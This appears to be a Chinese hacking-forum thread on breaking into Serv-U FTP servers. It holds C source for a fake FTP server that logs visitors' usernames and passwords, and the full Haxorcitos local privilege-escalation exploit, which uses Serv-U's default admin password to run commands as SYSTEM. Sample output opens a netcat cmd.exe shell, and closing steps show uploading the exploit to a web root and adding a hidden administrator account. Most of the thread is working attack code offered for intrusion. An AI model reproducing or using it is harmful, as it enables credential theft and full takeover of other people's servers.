BOOL SendFTPBanner(const SOCKET ClientSocket)
{
char *SendWelcomeInfo = "220 Serv-U FTP Server v4.1 for WinSock ready...\r\n";
return SendSocket(ClientSocket,SendWelcomeInfo);
}// End Of SendFTPBanner()
//--------------------------------------------------------------------------------------------
// Purpose: To Receive Buffer From Socket
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Client Connected Socket
// In: const int nSize --> The SocketBuffer's Size
// Out: char *SocketBuffer --> Buffer To Receive Data
//--------------------------------------------------------------------------------------------
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize)
{
return (recv(ClientSocket,SocketBuffer,nSize,0) > 0);
}// End Of ReceiveSocketBuffer()
//--------------------------------------------------------------------------------------------
// Purpose: To Check Whether A String Only Contains Digits
// Return Type: BOOLEAN
// Parameters:
// In: const char *String --> The String To Be Checked
//--------------------------------------------------------------------------------------------
BOOL IsDigits(const char *String)
{
UINT i = 0;
UINT StringLength = strlen(String);
for (i = 0;i < StringLength;i++)
{
if (String < 48
String > 57)
{
return FALSE;
}
}
return TRUE;
}// End Of IsDigits()
//--------------------------------------------------------------------------------------------
// Purpose: To Save Information Into A File
// Return Type: BOOLEAN
// Parameters:
// In: const char *FileName --> File To Store Information
// In: const char *Info --> Information To Be Stored Into File
//--------------------------------------------------------------------------------------------
BOOL SaveInfo(const char *FileName,const char *Info)
{
HANDLE hFile = NULL;
DWORD dwBytes = 0 ;
BOOL Flag = FALSE;
// Open A File For Writing
hFile = CreateFile(FileName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) // Fail To Open That File,Something Must Be Wrong
{
return FALSE;
}
SetFilePointer(hFile,0,NULL,FILE_END); // Set The File Pointer To The File End
Flag = WriteFile(hFile,Info,strlen(Info),&dwBytes,NULL); // Write Information Into That File
CloseHandle(hFile); // Close File Handle
return Flag; // Return The WriteFile Status
}// End Of SaveInfo()
//--------------------------------------------------------------------------------------------
// Purpose: To Remove An Ending Enter From A String
// Return Type: BOOLEAN
// Parameters:
// In: char *String --> String To Be Modified
//--------------------------------------------------------------------------------------------
BOOL DeleteEnter(char *String)
{
UINT Length = strlen(String);
if (String[Length - 2] == '\r'
String[Length - 2] == '\n')
{
String[Length - 2] = '';
}
else
{
if (String[Length - 1] == '\r'
String[Length - 1] == '\n')
{
String[Length - 1] = '';
}
}
return TRUE;
}// End Of DeleteEnter()
//--------------------------------------------------------------------------------------------
// Purpose: To Handle FTP Request
// Return Type: BOOLEAN
// Parameters: NONE
//--------------------------------------------------------------------------------------------
BOOL HandleFTPRequest()
{
DWORD dwThreadID;
SOCKET AcceptSocket = INVALID_SOCKET;
SOCKET *CloneSocket = NULL;
while(TRUE)
{
SOCKADDR_IN client;
int nSize = sizeof(client);
AcceptSocket = accept(ListenSocket, (SOCKADDR *)&client, &nSize);
if (AcceptSocket == INVALID_SOCKET) // Something Is Wrong About The Socket
{
break; // Get To Leave
}
CloneSocket = (SOCKET *)malloc(sizeof(AcceptSocket)); // Allocate For Socket Ram
if (CloneSocket == NULL) // Not Enough Ram,Very Rare Situation
{
closesocket(AcceptSocket); // Close That Connection
continue;
}
*CloneSocket = AcceptSocket; // Make A Copy Of Accpet Socket
HANDLE hThread = CreateThread (NULL,0, (LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0, &dwThreadID); // Create A Thread
if (hThread != NULL)
{
CloseHandle(hThread);
}
}
closesocket(ListenSocket);
return TRUE;
}// End Of HandleFPRequest()
//--------------------------------------------------------------------------------------------
// Purpose: To Steal The FTP UserName And Password
// Return Type: BOOLEAN
// Parameters:
// In: const SOCKET ClientSocket --> The Connector's Socket
//--------------------------------------------------------------------------------------------
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket)
{
const char *UserOK = "331 User name okay, need password.\r\n";
char Buffer[MAX_PATH];
memset(Buffer,0,sizeof(Buffer));
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive UserName
{
return FALSE;
}
if (strnicmp(Buffer,"USER", 4) == 0) // We Get The UserName, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n");
SaveInfo(LogFile,Buffer);
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}
if (!SendSocket(ClientSocket,UserOK)) // Fail To Send Information
{
return FALSE;
}
memset(Buffer,0,MAX_PATH);
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer))) // Fail To Receive Password
{
return FALSE;
}
if (strnicmp(Buffer,"PASS", 4) == 0) // We Get The Password, Store It Into File
{
EnterCriticalSection(&cs);
SaveInfo(LogFile,Buffer);
SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n\r\n");
LeaveCriticalSection(&cs);
}
else // Unknows Command Received
{
return FALSE;
}
return TRUE;
}// End Of RetrieveFTPUserAndPass()
//--------------------------------------------------------------------------------------------
// Purpose: To Handle The Connector's Request
// Return Type: DWORD
// Parameters:
// In: LPVOID Para --> The Connector's Socket
//--------------------------------------------------------------------------------------------
DWORD WINAPI FTPThread(LPVOID Para)
{
SOCKET ClientSocket = (*(SOCKET *)Para); // Retrieve The Socket
free(Para); // Free The Allocated Ram
if (!SendFTPBanner(ClientSocket)) // Fail To Send FTP Banner
{
closesocket(ClientSocket); // Close The Connection
return 1;
}
RetrieveFTPUserAndPass(ClientSocket); // Get The Connector's UserName and Password
SendSocket(ClientSocket,"530 Not logged in, unauthorized IP address.\r\n"); // Cheat The Connector By Sending This
closesocket(ClientSocket); // Disconnect The Connector
return 0;
}// End Of FTPThread()
// End Of File
?>作者: 千與千尋 时间: 2005-1-16 05:04 标题: SEVR-U入侵全教程
Serv-U v6.0 本地权限提升漏洞
受影响系统:
Serv-U FTP Server 6.0\\
以及6。0以下版本
描述:
--------------------------------------------------------------------------------
Serv-u 是一款很出名的Ftp Server软件,Serv-U FTP Server V6.0 已经发布,经过测试发现
该版本已之前版本一样都存在这个问题。漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建
域和用户来执行命令,版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,
默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
aT4r ins4n3 (at4r@ciberdreams.com)提供了如下测试方法:
/*
* Hax0rcitos proudly presents
* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
*
* All Serv-u Versions have default Login/password for local Administration.
* This account is only available to connect in the loopback interface, so a
* local user will be able to connect to Serv-u with this account and create
* an ftp user with execute rights. after the user is created, just connect
* to the ftp server and execute a raw "SITE EXEC" command. the program will
* be execute with SYSTEM privileges.
*
* Copyright (c) 2003-2004 Haxorcitos.com . All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*
* Date: 10/2003
* Author: Andrés Tarascó Acunha
*
* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
*
* Tested Against Serv-u 4.x and v5.1.0.0
G:\exploit\serv-U\local>whoami
INSANE\aT4r
G:\exploit\serv-U\local>servulocal.exe "nc -l -p 99 -e cmd.exe"
Serv-u >3.x Local Exploit by Haxorcitos
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=3
220 Domain settings saved
******************************************************
[+] Domain Haxorcitos:3 Created
[+] Setting New Domain Online
<220 Server command OK
******************************************************
[+] Creating Evil User
<200-User=haxorcitos
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER haxorcitos
<331 User name okay, need password.
******************************************************
>PASS whitex0r
<230 User logged in, proceed.
******************************************************
[+] Now Executing: nc -l -p 99 -e cmd.exe
<220 Domain deleted
******************************************************
G:\exploit\serv-U\local>nc localhost 99
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>whoami
whoami
NT AUTHORITY\SYSTEM
C:\>
*/
#include
#include
#include
#include
#include
//Responses
#define BANNER "220 "
#define USEROK "331 User name okay"
#define PASSOK "230 User logged in, proceed."
#define ADMOK "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID "200-DomainID="
//Commands
#define XPLUSER "USER haxorcitos\r\n"
#define XPLPASSWORD "PASS whitex0r\r\n"
#define USER "USER LocalAdministrator\r\n"
#define PASSWORD "PASS #l@$ak#.lk;0@P\r\n"
#define MAINTENANCE "SITE MAINTENANCE\r\n"
#define EXIT "QUIT\r\n"
char newdomain[]="-SETDOMAIN\r\n"
"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0\r\n"
"-TZOEnable=0\r\n"
" TZOKey=\r\n";
/* "-DynDNSEnable=0\r\n"
" DynIPName=\r\n";
*/
char deldomain[]="-DELETEDOMAIN\r\n"
"-IP=0.0.0.0\r\n"
" PortNo=2121\r\n";
char newuser[] =
"-SETUSERSETUP\r\n"
"-IP=0.0.0.0\r\n"
"-PortNo=2121\r\n"
"-User=haxorcitos\r\n"
"-Password=whitex0r\r\n"
"-HomeDir=c:\\\r\n"
"-LoginMesFile=\r\n"
"-Disable=0\r\n"
"-RelPaths=1\r\n"
"-NeedSecure=0\r\n"
"-HideHidden=0\r\n"
"-AlwaysAllowLogin=0\r\n"
"-ChangePassword=0\r\n"
"-QuotaEnable=0\r\n"
"-MaxUsersLoginPerIP=-1\r\n"
"-SpeedLimitUp=0\r\n"
"-SpeedLimitDown=0\r\n"
"-MaxNrUsers=-1\r\n"
"-IdleTimeOut=600\r\n"
"-SessionTimeOut=-1\r\n"
"-Expire=0\r\n"
"-RatioUp=1\r\n"
"-RatioDown=1\r\n"
"-RatiosCredit=0\r\n"
"-QuotaCurrent=0\r\n"
"-QuotaMaximum=0\r\n"
"-Maintenance=None\r\n"
"-PasswordType=Regular\r\n"
"-Ratios=None\r\n"
" Access=c:\\|RELP\r\n";
#define localport 43958
#define localip "127.0.0.1"
char cadena[1024];
int rec,domain;
/******************************************************************************/
void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
send(sock,data,strlen(data),0);
if (ShowSend) printf(">%s",data);
Sleep(100);
do {
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
if (rec<=0) return;
if (showResponses) printf("<%s",cadena);
if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
domain=atoi(cadena+strlen(DOMAINID));
//} while (strncmp(cadena,response,strlen(response))!=0);
} while (strstr(cadena,response)==NULL);
printf("******************************************************\r\n");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
WSADATA ws;
int sock,sock2;
struct sockaddr_in haxorcitos;
struct sockaddr_in xpl;
printf("Serv-u >3.x Local Exploit by Haxorcitos\r\n\r\n");
if (argc<2) {
printf("USAGE: ServuLocal.exe \"command\"\r\n");
printf("Example: ServuLocal.exe \"nc.exe -l -p 99 -e cmd.exe\"");
return(0);
}
if (WSAStartup( MAKEWORD(2,2), &ws )!=0) {
printf(" [-] WSAStartup() error\n");
exit(0);
}
haxorcitos.sin_family = AF_INET;
haxorcitos.sin_port = htons(localport);
haxorcitos.sin_addr.s_addr = inet_addr(localip);
sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='\0';
printf("<%s",cadena);
ParseCommands(sock,USER,1,1,USEROK);
ParseCommands(sock,PASSWORD,1,1,PASSOK);
ParseCommands(sock,MAINTENANCE,1,0,"230 ");
printf("[+] Creating New Domain...\r\n");
ParseCommands(sock,newdomain,0,1,BANNER);
printf("[+] Domain Haxorcitos:%i Created\n",domain);
/* Only for v5.x
printf("[+] Setting New Domain Online\r\n");
sprintf(cadena,"-SERVERCOMMAND\r\n-ID=%i\r\n
Command=DomainOnline\r\n",domain);
ParseCommands(sock,cadena,0,1,BANNER);
*/
printf("[+] Creating Evil User\r\n");
ParseCommands(sock,newuser,0,1,"200 ");
Sleep(1000);
printf("[+] Now Exploiting...\r\n");
xpl.sin_family = AF_INET;
xpl.sin_port = htons(2121);
xpl.sin_addr.s_addr = inet_addr(localip);
sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='\0';
ParseCommands(sock2,XPLUSER,1,1,USEROK);
ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
printf("[+] Now Executing: %s\r\n",argv[1]);
sprintf(cadena,"site exec %s\r\n",argv[1]);
send(sock2,cadena,strlen(cadena),0);
shutdown(sock2,SD_BOTH);
Sleep(100);
ParseCommands(sock,deldomain,0,1,BANNER);
send(sock,EXIT,strlen(EXIT),0);
shutdown(sock,SD_BOTH);
closesocket(sock);
closesocket(sock2);
return 0;
}
//---------------------------------------------------------------------------
具体使用方法~~
和以前的ftp.exe一样
上传一个 serv-u上去
cmd执行
例如我们的位置在d:\wwwroot\serv-u.exe
我在在cmd执行: d:\wwwroot\serv-u.exe "net user laolang$ 123456/add"
下面我也不说了具体怎么做仿照前面的ASP木马到控制 3389
作者: 千與千尋 时间: 2005-1-16 05:06 标题: SEVR-U入侵全教程